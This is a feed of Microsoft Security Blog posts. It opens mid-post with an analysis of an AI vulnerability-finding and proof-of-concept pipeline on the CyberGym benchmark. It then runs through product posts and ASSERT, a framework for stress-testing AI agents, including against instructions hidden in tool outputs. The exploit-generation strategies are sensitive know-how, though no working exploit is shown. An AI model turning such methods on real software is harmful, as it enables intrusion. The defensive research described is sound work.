• Smarter routing to specialized agents. A new routing mechanism filters out clearly irrelevant agents while preserving strong candidates, reducing unnecessary computation while maintaining coverage and allowing the system to scale across diverse targets. 

The principle behind all of it is the same: the model is one input, the system around it is the product. Better understanding in the early stages produces more accurate conclusions later, regardless of which model is doing the reasoning. 

Understanding the remaining 3.5% 

While the 96.55% score previously announced, represents a significant step forward, the system missed 3.5% of cases, 52 tasks in total.

We analyzed which pipeline stage contributed to each miss: 

• Scan stage: 8 cases (15.4%), failed to identify the intended finding. 
• Validate stage: 10 cases (19.2%), incorrectly flagged intended findings as false positives.
• Prove stage: 34 cases (65.4%), failed to generate a working proof-of-concept.

The following highlights the main failure reasons at each stage.

Scan stage failures 

Incorrect scope from ambiguous descriptions. In some cases, the scope generated during the prepare stage did not include the files or functions containing the intended vulnerability. This occurs when bug descriptions are too general, especially in repositories with multiple modules, making precise localization difficult. In arvo:53536, the target bug description reads:

“A stack-buffer-overflow occurs in the code when a tag is found and the output size is not checked to ensure it is within the bounds of the buffer.”

It identifies the vulnerability type but gives little guidance on where to look in a large codebase. 

Missed prioritization of vulnerable components. The system prioritizes which files and functions to analyze first and can sometimes de-emphasize less obvious components. In arvo:23547, the vulnerability resides in a lexer/parser component, but the system prioritized other C code paths instead. 

Validate stage failures

Hypothetical descriptions and code misinterpretation. Scan results sometimes include hypothetical descriptions of vulnerabilities rather than concrete execution paths. When the validate stage cannot confirm a concrete path in code, it may reject the finding.

In the CyberGym benchmark case “arvo:3569,” the scan stage correctly identified a use-after-free vulnerability, but the validate stage concluded there was no feasible path to free the pointer, and rejected it. The scan-stage finding included a description like: “risk if any destructor or cleanup code attempts to free…” That framing left the validate stage without enough evidence to confirm reachability. 

Prove stage failures 

Highly structured input requirements. Some targets require complex, structured binary inputs, IVF/AV1, WPG, fonts, PDFs, where crafting inputs that both satisfy format validation and reach the vulnerable code path is inherently difficult, making reliable proof-of-concept generation challenging. 

Fuzzing until timeout. For targets requiring highly structured inputs, the system sometimes attempted fuzzing-based approaches that found crashes but failed to generate inputs accepted as valid by the target within time constraints. 

Environment mismatch. In some cases, the system reproduced crashes locally but those did not transfer to the evaluation harness, due to mismatches in build configuration, incorrect target selection, or execution paths that differed from the intended setup. 

Build complexity and time constraints. In several cases, the build process failed, ran too long, or exceeded the agent’s execution budget, preventing proof-of-concept generation. 

Paths to improvement 

Integrating fuzzing pipelines. The prove stage is the primary bottleneck in both benchmark and real-world settings. We will integrate the system with existing fuzzing ecosystems such as OSS-Fuzz, allowing us to reuse build pipelines rather than reconstruct them and to draw on existing seed corpora for more effective proof generation. This approach was not applied during CyberGym evaluation, as it may implicitly reuse known proofs-of-concept, but will be adopted for real-world targets. 

Extending analysis beyond source code. Some POC generation failures were due to limited support for non-traditional code artifacts. While the system handles conventional languages such as C/C++ well, it does not yet fully support artifacts generated by tools like lex/yacc. We are extending our analysis to cover these cases and broaden our overall coverage.

Improving agent reasoning and output quality. Failures in scan and validate stages often stem from speculative or incomplete reasoning. We will refine agent instructions, enforce structured outputs, and add validation checks to reduce ambiguity and improve reliability. 

What newer models add 

To isolate the impact of system-level improvements, our primary evaluation (Exp-0, baseline) intentionally used the same model configuration as the previous CyberGym benchmark, attributing gains directly to pipeline improvements rather than model advances. Modern foundation models continue to evolve, however, and we ran additional experiments on the 52 previously failed cases to understand what stronger models contribute. 

Experiment 1: Newer OpenAI models for bug discovery, Claude Opus 4.6 for prove

• Configuration: Prepare / Scan / Validate: GPT-5.4, GPT-5.5, GPT-5.4-mini, GPT-5.3-codex. Prove: Claude Opus 4.6. 

• Result: 19 of 52 cases solved (36.5%, any crash). Assuming no regressions on previously solved cases in Exp-0, projected success rate: 97.8% (any crash). 

The primary gain comes from higher-quality scan-stage findings. Compared to Exp-0 baseline in this dataset, outputs are less hypothetical and more precise, with concrete execution details that improve both validation accuracy and downstream proof generation.

 In the CyberGym benchmark case “arvo:3569,” the baseline produces a vague description, “risk if any destructor or cleanup code attempts to free…”, while GPT-5.5 identifies a specific execution path: “line 210 calls pj_default_destructor (P,…), which frees P->params, Q (= P->opaque).” That grounded description gives validation a clear path to reason about reachability.

GPT-5.5 also shows improved alignment between detected bugs and their corresponding common weakness enumeration (CWE) categories, contributing to more effective proof generation. 

Experiment 2: GPT-5.5 / GPT-5.5-cyber for prove, using bug discovery from Experiment 1

• Configuration: Prepare / Scan / Validate: Bug discovery outputs from Experiment 1. Prove: GPT-5.5 / GPT-5.5-cyber. 

• Result (GPT-5.5): 21 of 52 cases solved (40.4%, any crash). Assuming no regressions on previously solved cases in Exp-0, projected success rate: 97.9% (any crash). 

• Result (GPT-5.5-cyber): 23 of 52 cases solved (44.2%, any crash). Assuming no regressions on previously solved cases in Exp-0, projected success rate: 98.1% (any crash). 

Both GPT-5.5 and GPT-5.5-cyber found more crashes than Claude Opus 4.6 in the prove stage. The gain is meaningful but more modest than the improvements observed in scan. This dataset alone is not sufficient to conclude these models are consistently stronger across all proof-of-concept generation tasks. 

Three distinct strategies emerged across all models in the prove stage: 

• Code-based, reasoning over code paths to craft inputs. 
• Fuzzing-based, searching the input space for crashes.
• Custom instrumentation-based, exposing vulnerability-relevant variables and using them as feedback signals to guide input generation.

All three models applied all three strategies across the 52 cases but differed in which targets they applied them to, and that selection drove differences in outcome. In arvo:61902, only GPT-5.5-cyber generated a working proof-of-concept, applying a custom instrumentation-based approach that reframed the task as a hill-climbing problem: reducing “understand the codec well enough to craft adversarial audio” to “search until this value exceeds 128.” 

Seeing past the score

CyberGym has been an invaluable platform for rapid iteration, continuous evaluation, and measurable progress. Through this feedback loop, the system has advanced dramatically, reaching 96.5% performance on the benchmark, with newer models already contributing an additional 1%-2% improvement beyond that baseline. Achieving this level of performance in such a short period is a strong indicator of the underlying architecture, research direction, and engineering rigor driving the effort.

At the same time, we are careful to interpret these results appropriately. A 96.5% CyberGym score demonstrates that the system can reason effectively over a broad and challenging set of known vulnerabilities. Equally important, it highlights an opportunity to broaden our evaluation framework. Real-world vulnerability discovery involves ambiguity, incomplete information, and constantly evolving software ecosystems—dimensions that extend beyond any fixed benchmark. This is precisely what makes the next phase of the work so exciting: applying these capabilities to increasingly realistic environments and pushing the frontier from benchmark excellence to real-world impact.

Where we go next 

We will chart our course in two directions.

First, we are advancing the system to operate in genuine real-world environments, targeting cost-efficient discovery of previously unknown vulnerabilities, combined with integrated capabilities to triage and fix issues at scale. Finding the bug is half the job. Closing it is the other half.

Second, we see a clear opportunity to advance the benchmark to capture the complexity, ambiguity, and end-to-end workflows of how real-world vulnerability discovery actually happens.

The model variation experiments point toward the same conclusion: the system and the models improve in complementary ways. To prove our pipeline gains were not simply model gains, we held the model configuration constant in the core evaluation, then tested newer models separately. The additional gains were real, especially in the precision of scan-stage findings. That is not a complication in interpreting the results. It is a roadmap.

Defense at AI speed 

Come back to the two clocks. The arc of this work is the story of the moment they switched places: from a defender racing to catch up, to a defender with AI-driven analysis reaching deeper into production code, earlier in the process, across a broader surface than any manual program could sustain. 

That is what defending at AI speed means. Not faster scanning in isolation, but a posture that keeps pace with the way software is actually built and shipped today, where every improvement to the pipeline makes the next finding more precise, and the system and the models grow stronger together. 

Learn more

Codename MDASH is just getting started. We would like you with us for the next chapter. 

Sign up to follow codename MDASH and join the private preview. To go deeper on the engineering behind codename MDASH, explore our technical blog series.

Join the codename MDASH private preview

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Beyond the benchmark: Advancing security at AI speed  appeared first on Microsoft Security Blog.

We are excited to share that Microsoft has been named a Leader in The Forrester Wave™: Extended Detection and Response Platforms, Q2 2026. Microsoft ranked the highest of any vendor evaluated in the Strategy category and is the only vendor to receive the highest score in Vision. Microsoft also received the highest possible scores across the current offering criteria of identity detection, cloud detection, SIEM replacement, Threat Intelligence, Threat hunting, Administrative controls, and Training.

In the report, Forrester writes that “Microsoft articulates a compelling vision to build a Frontier approach to security, bringing people and AI together while the platform continuously shields against and disrupts attacks.”

Read the full Forrester Wave report A new frontier for XDR

That recognition reflects how Microsoft sees the next phase of XDR evolution. As cyberattackers use AI to scale and accelerate their campaigns, defenders need more than correlated signals. They need a system that brings together data, people, and workflows so security can operate with the same speed and coordination.  

At Microsoft, XDR is that foundation. It connects signals across identities, endpoints, email, software as a service (SaaS) apps, and cloud workloads into a shared layer of context bringing together the signals, workflows, and actions security runs on. 

That foundation extends directly into how protection and operations are delivered. Microsoft Defender’s native capabilities continuously shield against attacks with built-in, system-level defenses, while embedded agents help triage alerts, hunt for threats, and deliver intelligence in the flow of work. The result is a shift from fragmented response to coordinated, system-level defense—where decisions, actions, and protection move together by default.

Attack disruption is one of the clearest expressions of that vision today. It uses cross-domain signals and AI to stop multi-stage cyberattacks like ransomware and adversary-in-the-middle attacks while they are active and unfolding.

Forrester specifically notes attack disruption in the report, “As well as its roadmap, it (Microsoft) has built unique features, like automatic attack disruption, to help deliver on its vision.”

Get started with Microsoft Defender World-class threat intelligence at the core

Threat intelligence is a brand-new evaluation criterion in this Wave and Microsoft earned the highest possible score. This reflects a broader shift: intelligence is no longer a bolt-on, but fundamental to how modern XDR platforms detect, prioritize, and disrupt cyberattacks.

Microsoft Threat Intelligence is built on a broad vantage point, analyzing 100 trillion signals each day. That intelligence is delivered directly into the analyst experience, which provides context on threat actors: their motivations and tactics appear inside incidents, alongside affected assets, and tied to response actions.

The intelligence is built into detections, attack disruption, hunting, and AI that helps analysts make sense of what they’re seeing. It’s also continuously informed by Microsoft’s global security research teams tracking nation-state actors, ransomware groups, and emerging cyberthreats, which brings frontline insight directly to defenders.

Innovation that reinforces continued leadership

We believe Microsoft’s ranking as a leader in this report is a reflection of the pace of innovation across the Defender portfolio over the past year. Highlights include:

Adaptive defense to contain active attacks: Attack disruption now expands autonomous protection to predict and shield against a threat actor’s next move during active cyberattacks. It acts just in time to defend against common attacker tactics such as group policy objects (GPOs), Safeboot, and identity compromise, with new controls that now include device isolation.

Native protection across cloud, identity, and SIEM: Microsoft delivers differentiated protection across cloud and identity by natively harnessing signals from Azure and Microsoft 365 coverage. Combined with Microsoft Sentinel’s powerful security information and event management (SIEM) and threat hunting capabilities, this foundation goes beyond detection, enabling disruption of attacks directly within the SOC for critical data sources including Amazon Web Services (AWS), Okta, and Proofpoint, fundamentally turning your SIEM into a threat protection solution. 

Microsoft Security Copilot alert triage agent: Security Copilot agents in Defender help security operations center (SOC) teams investigate faster, automate response, and prioritize high-risk cyberthreats. Microsoft recently extended the Security Copilot alert triage agent to cloud and identity, extending assistive and autonomous AI to two of the most critical attack surfaces security teams defend every day. By helping analysts triage alerts faster, surface high-value context, and move more quickly from signal to action, these new capabilities strengthen the SOC where speed and precision matter most. That momentum reinforces that Microsoft received the highest possible scores in both identity detection and cloud detection.

Securing local AI agents: Microsoft recently announced endpoint security for local AI agents at Microsoft Build 2026. Defender helps security teams gain visibility into AI agents running on devices, assess exposure across identities and resources, block malicious activity in real time, and investigate agent activity through Advanced Hunting.

What this recognition means for our customers

Being named a Leader in The Forrester Wave™: Extended Detection and Response Platforms, Q2 2026 reinforces Microsoft’s commitment to helping defenders stay ahead of modern cyberattacks. We believe this recognition reflects the strength of our vision, the breadth of our protection across identities, endpoints, email, cloud, and applications, and our continued investment in bringing people and AI together in the SOC.

As the threat landscape continues to evolve, we remain focused on helping customers investigate faster, respond more effectively, and strengthen their security operations with an integrated platform built for today’s cyberattacks.

Learn more

• Access the full Forrester Wave™ report to read the full analysis behind Microsoft’s positioning as a Leader.
• Learn more about Microsoft Defender.
• Try Microsoft Defender today with a free trial.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here .  

The post ​​Forrester names Microsoft a Leader in the 2026 Extended Detection and Response Platforms Wave™ report appeared first on Microsoft Security Blog.

In March, we wrote that identity security has become the new pressure point for modern cyberattacks. Since then, AI has only increased that pressure.

AI helps cyberattackers move faster across the attack chain: personalizing social engineering at scale, automating reconnaissance, analyzing leaked credentials, identifying privileged users, probing exposed systems, and adapting tactics in real time. Attacks that once depended on manual effort can now unfold with greater speed, scale, and autonomy.

Yet even as methods evolve, identity remains one of the most common entry points. Every account, admin, workload, application, non-human identity, and AI agent can become a path to sensitive data and critical systems if not properly secured. Attackers do not need to break every defense; they only need to compromise or misuse the right identity with the right access at the right moment.

When attacks are accelerated by AI, speed and accuracy in detection and response are critical. Identity security can no longer operate in silos. Even a minor delay between when a threat is detected and action is taken can be the difference between suspicious activity becoming a contained incident or a business-impacting breach. This shift is reshaping how organizations think about security. The imperative is becoming clear: identity and security teams need comprehensive visibility and integrated solutions that streamline how they prevent, detect, and respond to identity threats.

Securing the future of identity at the speed of AI

One of the biggest security challenges organizations face today is fragmentation, and identity security is no exception. IAM and SOC teams often work across separate tools, separate workflows, and separate operational models. But identity attacks don’t respect those organizational boundaries.

Modern identity attacks span infrastructure, access control, and detection. At Microsoft, we understand this, and we are continuing to expand how Microsoft Entra and Microsoft Defender work together to provide more unified identity security experiences.

Actionable intelligence, everywhere

At RSA earlier this year, we unveiled our unified identity risk score, a new way to turn broader attack-chain insight into real-time access decisions. This score analyzes and correlates relevant signals across related accounts, sessions, workloads, and applications to surface a single, comprehensive evaluation of an identity’s true risk level and enable more dynamic response directly within authentication flows as part of risk-based Conditional Access policies.

View of a risky user within Entra ID Protection with new identity risk score and attack timeline.

Identity admins also gain a stronger operational experience through the new Microsoft Entra ID Protection experience. Rather than forcing identity teams to piece together risk signals across disconnected views, the updated experience brings deeper visibility into risky users, sign-ins, workloads, and associated detections in one place. The new identity risk score adds another layer of context by surfacing insights across related accounts and activity, including signals from Microsoft environments and connected identity activity beyond them. This helps admins understand whether a risky user, agent, workload, or sign-in is an isolated event or part of a broader pattern spanning sessions, applications, and associated accounts.

New user dashboard in Entra ID Protection which provides deeper visibility for identity admins into risky users, sign-ins, and associated detections.

New risky user details view provides more information about a user’s risk and the attack timeline within Entra ID Protection.

That richer context gives identity teams a more complete view of how risk is developing across the identity estate. Admins can better understand how risk is calculated, which related accounts or workloads contributed to the score, what detections are driving concern, and why a given identity requires attention. By connecting Microsoft and cross-environment signals into a single evaluation, the risk score helps identity admins prioritize the identities that matter most, make more informed access decisions, and explain the rationale behind remediation actions with greater confidence.

For security operations teams, this new score helps prioritize and triage investigations faster by focusing analysts on the identities that pose the greatest risk. But knowing what to fix is only half the challenge. In many organizations, security operations teams lack the needed permissions to take action; instead, they can only wait for separate IAM workflows to resolve the issue. That delay creates friction during moments when response speed matters most. Some solutions address this by giving SOC teams, or the security application itself, broad standing permissions across the identity environment. That may solve the permissions issue, but it also expands the blast radius if the application or identity is misused or compromised.

Microsoft takes a different approach because our solution natively spans identity infrastructure, the identity control plane, and ITDR. Customers get streamlined workflows across the full identity security lifecycle, and with a new identity-focused RBAC role, coming soon in public preview, security operations teams can access the core identity response actions they need without broad administrative permissions. This allows organizations to preserve least privilege access while reducing operational friction between IAM and SOC teams. Combined with the native privileged identity management in Microsoft Entra, organizations can also create just-in-time access policies for these response roles, further reducing standing privilege while still enabling responders to elevate quickly during incidents and investigations.

Together, unified risk, the new Microsoft Entra ID Protection experience, and least-privilege response roles give identity and security teams the shared context and governed action paths they need to move from insight to response faster.

Shifting left with proactive prevention

Shifting identity protection left means addressing risk earlier, before it becomes an active threat or incident. By continuously strengthening posture and adapting access controls as conditions change, organizations can reduce exposure, improve resilience, and stay ahead of emerging risks.

The Conditional Access Optimization Agent continues to evolve to help organizations keep pace with a rapidly changing threat landscape. Instead of manually auditing policies or reacting after gaps are exposed, the agent continuously analyzes identity signals, usage patterns, and emerging threats to recommend the right policy changes at the right time. New recommendations, like the “Block risky user agent” policy, are designed to address emerging attack vectors such as agent-based abuse and automated access attempts. These optimizations give organizations a more adaptive way to enforce Zero Trust, where access decisions continuously adjust based on risk and context rather than relying on one-time configuration.

And as part of our continued effort to help customers close the loop and move beyond reactive responses, we are soon bringing more threat detections and insights from Defender that are automatically fed directly into the Conditional Access Optimization recommendations in Microsoft Entra. Administrators receive clear, explainable, and reviewable recommendations that outline why the change is important, who is impacted, and what action to take, empowering a more proactive and preventative approach to mitigating future attacks.

Accelerating response

In AI-accelerated attacks, response speed matters just as much as visibility. Manual investigation and response will always be necessary, but in today’s AI-accelerated threat landscape, defenders need automation that helps level the playing field. That’s why we were so excited to extend the Security Alert Triage Agent to identity scenarios and pair it with automatic attack disruption and new predictive shielding capabilities. Together, these capabilities create an end-to-end automation loop that helps defenders triage identity threats, disrupt active attacks, drive response, and continuously harden posture before the next incident.

At Microsoft Security, we are building toward that future by embedding this kind of adaptive, AI-driven enforcement directly into identity security. That means accelerating detection across the attack chain, speeding up investigation and response through AI, and ensuring every authentication and access decision reflects real-time risk. It also means bringing IAM and security operations closer together, so identity signals, policy enforcement, and incident response work as one continuous system rather than separate workflows.

The future of identity security

In the AI era, identity is not just a control point. It is the system that connects prevention, detection, and response into a single, adaptive defense system. And Microsoft is building and operating that system as both the identity provider and policy enforcement layer, with real-time risk signals that can immediately influence access decisions. The organizations that defend identity fastest will be the organizations that defend everything else better.

-Sandeep Deo and Yaron Paryanty

Additional resources

• Identity security is the new pressure point for modern cyberattacks | Microsoft Security Blog
• Redefining identity security for the modern enterprise | Microsoft Community Hub
• Securing the Invisible Workforce | Microsoft Community Hub
• Get comprehensive identity threat detection and response

Learn more about Microsoft Entra 

Prevent identity attacks, ensure least privilege access, unify access controls, and improve the experience for users with comprehensive identity and network access solutions across on-premises and clouds.

• Microsoft Entra News and Insights | Microsoft Security Blog
• Microsoft Entra blog | Tech Community
• Microsoft Entra documentation | Microsoft Learn
• Microsoft Entra discussions | Microsoft Community

The post AI is accelerating cyberattacks—here’s how to stay ahead appeared first on Microsoft Security Blog.

Microsoft publishes quarterly email security benchmarking data comparing Microsoft Defender against secure email gateway (SEG) and integrated cloud email security (ICES) vendors using real-world threat telemetry.

A year ago, we set out to change how email security effectiveness is measured. With our first benchmarking report in July 2025, we committed to publishing real-world performance data, not synthetic tests, so security teams could make decisions grounded in evidence. With each quarterly update, we refined our methodology, expanded our analysis, and listened to customer and partner feedback.

Alongside it, we established the Microsoft Defender ICES vendor ecosystem, designed to enable seamless integration with trusted third-party vendors and streamline security operations center (SOC) workflows for organizations who have chosen a multi-vendor email security strategy.

Read the latest Microsoft benchmarking data for email security Key insights from a year of email benchmarking

With four consecutive quarters, several findings have proven to be durable insights, highlighting the sustained realities of how layered email security performs in production:

1. Defender consistently leads in pre-delivery detection. Across every benchmarking period since July 2025, Defender has missed fewer high-severity cyberthreats than every SEG vendor evaluated, while the next closest SEG vendor had 2.5 times more misses.

2. ICES vendors add the most value in promotional and bulk email filtering. Promotional filtering uplift has been the clearest area of ICES value with an average uplift of 15% over the four quarters of evaluation. Meanwhile ICES vendor uplift for malicious catch and spam has consistently remained relatively nominal, averaging at 0.29% and 0.68%, respectively. In addition, over the last three quarters we’ve seen a consistent downward trend in these numbers, as we have continued to drive innovation in post-delivery mail detection.

3. Defender’s share of post-delivery remediation has grown significantly. In our second report, we introduced insights on the contribution of Defender to post-delivery malicious catch. Initially, Defender contributed 45% of post-delivery malicious catch, which has since risen to an average of 96%. This trajectory underscores that Microsoft’s post-delivery catch is an increasingly critical backstop, operating even when ICES solutions are in place, and that Defender is delivering the majority of post-delivery remediation.

Figure 1: Malicious catch and spam catch uplift from ICES vendors of the past 12 months. SEG vendor benchmarking results

For SEG vendors, a threat is classified as “missed” if it was not detected prior to delivery. Using this definition, Microsoft Defender once again missed fewer high-severity email threats than all other solutions evaluated, consistent with every prior benchmarking period.

Figure 2: High-severity email threats missed by SEG vendors (February 2026-April 2026), measured as threats missed per 1,000 users protected.

This quarter, Defender missed 59% fewer high-severity threats than the next-closest SEG vendor, a gap that has remained consistent across all four benchmarking periods.

ICES vendor benchmarking results

ICES solutions operating on top of Microsoft Defender continue to provide benefit, particularly in reducing promotional and bulk email, with an average improvement of 16.85% over the last quarter. This helps minimize inbox clutter and improves user productivity in environments where promotional noise is a concern. For malicious messages and spam, the average improvement across vendors was 0.13% for malicious and 0.28% for spam catch, compared to 0.24% and 0.29% in the prior report.

Figure 3: ICES vendor catch contribution (February 2026-April 2026).

Focusing only on malicious messages that reached the inbox, the latest quarter shows Microsoft Defender’s post-delivery catch continues to improve, catching the majority of post‑delivery remediation. It removes an average of 96.03%, up from 70.8% in the previous quarter, highlighting the effectiveness of our continuous investments in this area. Post‑delivery remediation remains a critical backstop when cyberthreats evade initial filtering.

Figure 4: Post‑delivery malicious catch by Microsoft Defender (February 2026-April 2026), shown across vendors and overall average. Innovation shaped by benchmarking insights

Benchmarking doesn’t just help customers make better decisions. It shapes what we build. Over the past year we’ve used the insights from our benchmarking reports, as well as insights from the growing ICES vendor ecosystem, to directly shape our innovation and product outcomes. Below are some of the most recent highlights, that we directly attribute to the continued improvements in Microsoft Defender performance.

Native promotion and bulk mail filtering in Outlook: A dedicated Promotions folder, natively provisioned in Outlook, now keeps legitimate bulk mail out of the primary inbox. Promotional content is separated from priority emails without being sent to Junk, which means users can still access and browse newsletters and updates at their own pace. The folder appears at the top level of the mailbox for easy discovery and is visible across all Outlook experiences. Once generally available it will be on by default, improving the native promotional filtering. Learn more.

System-level AI advancements: Among other AI enhancements, in November 2025 we introduced an agentic grading system that reduces the reliance on manual review in the submission and analysis pipeline. It helps deliver lower wait times, faster responses, and higher-quality results when emails are submitted to Microsoft for review. That means security teams can investigate reported messages more efficiently, respond more promptly, and act with greater confidence against phishing threats. Learn more.

Accelerating investigation with AI: The growing role of post-delivery remediation in our benchmarking data highlights a related challenge: when threats reach users and get reported, SOC teams need to triage those submissions quickly and accurately. The Microsoft Security Copilot Alert Triage Agent uses language model-powered reasoning to classify user-reported phishing emails, resolve false positives, and escalate confirmed threats for analyst review. Results show analysts identify 6.5 times more malicious alerts, improve verdict accuracy by 77%, and spend 53% more time investigating real cyberthreats. Security Copilot’s Email Summary further speeds investigations by turning email detection data into clear, actionable insights in the Email entity page. Learn more.

A year into this effort, our commitment to transparent benchmarking remains unchanged. We’ll continue using these insights to shape product innovation, share real-world performance data with customers, and invest in a strong ecosystem that meets organizations where they are—supporting the layered email security strategies that work best for their environments.

Read the latest Microsoft Defender benchmarking data Learn more

Learn more about Microsoft Defender.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Microsoft Defender email security benchmarking: Key insights from one year of data appeared first on Microsoft Security Blog.

Today, we’re releasing Adaptive Spec-driven Scoring for Evaluation and Regression Testing (ASSERT), an open-source framework for turning natural-language behavior specifications into executable evaluations. Every team building an AI system starts with a clear intention for the behaviors they want to coax from the product. Those expectations are usually written down somewhere: in a product requirement, a policy document, a system prompt, a launch checklist, or a review note. The more difficult step is turning that intention into an eval suite that’s specific enough to run, inspect, and update as the system changes. ASSERT seeks to address this by turning plain-language requirements into full evaluation pipelines: automatically generating test scenarios, datasets, metrics, and scorecards, then running them against your model, application, or agent.  

High-quality behavioral evaluations are essential for understanding whether AI systems behave as intended. But the evaluations that product teams need generally don’t already exist, are often slow to build, are hard to validate, and are quick to go stale. Product requirements change; policies evolve; tools and retrieval environments shift; and models improve until yesterday’s benchmark no longer measures the behavior that matters. The intended behaviors are shaped by the product’s actual context, policies, and tools, but the evaluations used to assess them often only weakly reflect those conditions.  

The gap is most visible in application-specific behavior. A support agent should issue refunds below a threshold, escalate likely fraud, and decline out-of-policy requests. A research assistant should synthesize internal and public information without relying on restricted findings. A change-control agent should produce useful plans while respecting approval boundaries. Generic evaluators such as helpfulness, relevance, groundedness, toxicity, and faithfulness can be useful signals, but they don’t test these product-specific behavioral boundaries directly. A system can score well on generic metrics while failing application-specific requirements 

ASSERT is built on the premise that a behavior specification should be a first-class input to evaluation—not just the background context. The framework systematizes the specification, converts it into an inspectable taxonomy, generates stratified test cases from the taxonomy, runs the test cases against the target, and scores each failure against the policy statement that produced it. In the next section, we’ll walk through how each of those steps works in practice. 

How ASSERT works 

The pipeline has four stages. First, ASSERT turns a broad behavior specification into an explicit concept specification, which is then converted into a granular, editable behavior taxonomy with suggested permissible and impermissible behaviors. Next, it generates stratified test cases over the dimensions the developer declares. Then, it runs those cases against the target system and records the full trace, including tool use and intermediate decisions. Finally, ASSERT scores each trace against the behavior taxonomy and associated policy stance for that case, producing labels, rationales, and failure patterns that developers can inspect and refine. 

In the systematization stage, ASSERT turns a broad idea like harmful financial advice, tool-use governance, or unsafe health guidance into something concrete enough to evaluate. Rather than treating the concept as a single label, it represents it as a structured set of patterns, definitions, edge cases, and operational distinctions. Following Agarwal et al. (2026), ASSERT grounds the concept in prior work, reconciles multiple practical definitions, and refines the result into an explicit concept specification. 

In the taxonomization stage, ASSERT converts that specification into a draft taxonomy of permissible and impermissible behaviors, together with the artifacts used to derive it. Developers and policy experts can review and revise both before the next stage runs. The user can input the behavior description, number of test set samples they want, and a systematizer model. The taxonomization step outputs an editable behavior taxonomy that can be validated by a policy expert.

In the test-set generation stage, ASSERT instantiates that taxonomy into executable cases. It can generate single-turn prompts or multi-turn scenarios, including benign interactions and adversarial probes. Developers specify the dimensions that matter for the application, such as task type, persona, tool availability, request class, or environment configuration. ASSERT then builds a stratified set of cases so that behavior is tested across the declared conditions rather than on a narrow slice of easy examples. 

In the inference stage, ASSERT runs those cases against the target. The target can be a model, an agent, or an application-level workflow. Through its instrumentation layer, ASSERT records not only the final text output but also the evidence needed to interpret the result later: tool calls, retrieved context, routing behavior, and intermediate actions. For agentic systems, those traces are often necessary to understand what actually happened. 

In the scoring stage, ASSERT evaluates each trace against the associated behavior or policy stance.  The scoring output is not only a pass or flagged label, but also includes a rationale, a policy citation, and the turn or action that justified the verdict. The policy citation refers to the specific taxonomy behavior or developer-provided policy decision that the judge used to support the verdict.  

Validation 

We conducted two internal validation studies for ASSERT. First, we conducted a coverage study to determine whether ASSERT produces better behavior-specific evaluations than a more direct generation approach starting from the same written intent. Then, we evaluated the LLM judges against human review.  

The coverage study spanned five behaviors: social scoring, sycophancy, task adherence, tool-use governance, and unsafe health guidance. We tested whether the generated probes surfaced meaningful signal across the target behavior surface rather than collapsing onto a narrow slice of it. Across these suites and three target models, ASSERT produced evaluation sets that were more useful on the properties teams typically need from an eval. Compared with a comparable in-house baseline, ASSERT covered roughly 1.2x as much of the intended behavior space, surfaced about 1.5x as many cases where the model did something worth inspecting, produced more than 4x stronger separation between stronger and weaker systems, and had about half as many saturated cases where every model behaved the same way. It also surfaced roughly 2x as many distinct failure patterns, though we treat that result as directional because failure-type labeling is harder to stabilize than coverage or model separation. These results reinforced a design point that’s easy to underestimate: Coverage is largely determined upstream. If the behavior is underspecified, the generated dataset will be, too. ASSERT is built around a systematization step that makes the behavior explicit before generation begins, so the evaluation set is guided by a structured representation of the target behavior rather than a loose prompt. In practice, this produced evaluation sets that were broader and better aligned with the behaviors developers actually wanted to test. 

Second, we validated the judges directly against human review. Across more than 10 behavior concepts, we used LLM judges for a first pass over the full evaluation set, then sampled cases per risk for human validation and independent review. In practice, agreement between LLM judges and human annotators was typically in the 80–90% range, while human inter-annotator agreement was around 90%. This gave us confidence that the judges were capturing much of the intended signal, while also making clear where caution was needed. At the same time, judge quality and stability are partly dependent on the underlying LLM: Different judge models can vary in strictness, boundary sensitivity, and willingness to treat closely related behaviors as distinct. 

Finally, we also ran qualitative review with subject-matter experts (SMEs) on 15 generated datasets. SMEs reviewed the test cases for policy alignment, behavioral relevance, and overall quality and found that the generated datasets were generally well aligned with the intended policy and risk boundaries. We view this as a complementary form of validation: Beyond quantitative metrics, it showed that the datasets were also credible and useful to experts inspecting them directly. 

Taken together, these studies support the two claims we think matter most: Systematization improves the coverage and usefulness of the generated dataset, and decomposed measurements make the resulting evaluations easier to interpret than a single aggregate score. They also highlight an important caveat: Evaluation quality depends not only on the pipeline design, but also on the stability and calibration of the judges used to score it.

>“My favorite thing about ASSERT is that the eval is easy to configure and reason about. I describe the behavior I care about in YAML, point it at a real agent, and get artifacts back. Not just pass/fail. They show why the judge made each call. That openness matters. The spec, generated cases, model outputs, judge rationale, and metrics are all inspectable locally. The eval feels auditable, not like a black box.”

– Lorenze Jay, Open Source Lead, CrewAI

A worked example: A travel-planning agent 

To make this concrete, imagine a travel-planning agent that helps users build itineraries. On the surface, this sounds like a simple assistant: Find flights, suggest hotels, check the weather, and produce a plan. 

But a real travel agent has to do much more than answer a question. It must use tools in the right order, respect explicit user constraints, ground its recommendations in tool results, and avoid subtle failure modes that traditional single-turn QA benchmarks miss. 

For example, the agent shouldn’t invent flight prices. It shouldn’t agree with an itinerary that exceeds the user’s budget. It shouldn’t make stereotyped assumptions about a traveler based on age, disability, family status, or travel style. And it shouldn’t follow malicious instructions hidden inside tool outputs or search results. 

The example in the ASSERT repository uses a multi-agent LangGraph travel planner with five tools: 

• search_flights
• search_hotels
• check_weather
• check_travel_advisories
• validate_budget

It operates in a six-turn budget, and every run records the full agent trace (tool calls, arguments, tool results, routing decisions, and intermediate state) alongside the final response. That trace evidence is what makes the judge able to cite the specific action responsible for each verdict, not just the final reply. That trace is important. It lets the evaluator judge not only whether the final answer was acceptable, but why the agent failed and which action caused the failure. 

